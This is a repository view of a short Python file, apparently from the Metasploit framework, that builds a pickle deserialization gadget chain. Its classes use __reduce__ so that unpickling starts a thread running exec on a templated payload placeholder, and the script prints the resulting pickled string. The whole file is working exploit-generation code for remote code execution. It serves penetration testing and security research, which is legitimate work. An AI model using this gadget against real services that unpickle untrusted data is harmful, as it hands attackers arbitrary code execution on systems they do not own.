Files
metasploit-gs/external/source/python_deserialization/py3_exec_threaded.py
T
2024-03-29 09:33:47 -04:00

15 lines
379 B
Python

import pickle
import threading
class CreateThread:
def __reduce__(self):
return threading.Thread, (None, __builtins__.exec, None, ('#{escaped}',))
class GadgetChain:
def __reduce__(self):
return threading.Thread.start, (CreateThread(),)
if __name__ == '__main__':
pickled = pickle.dumps(GadgetChain(), protocol=0)
print(repr(pickled.decode()))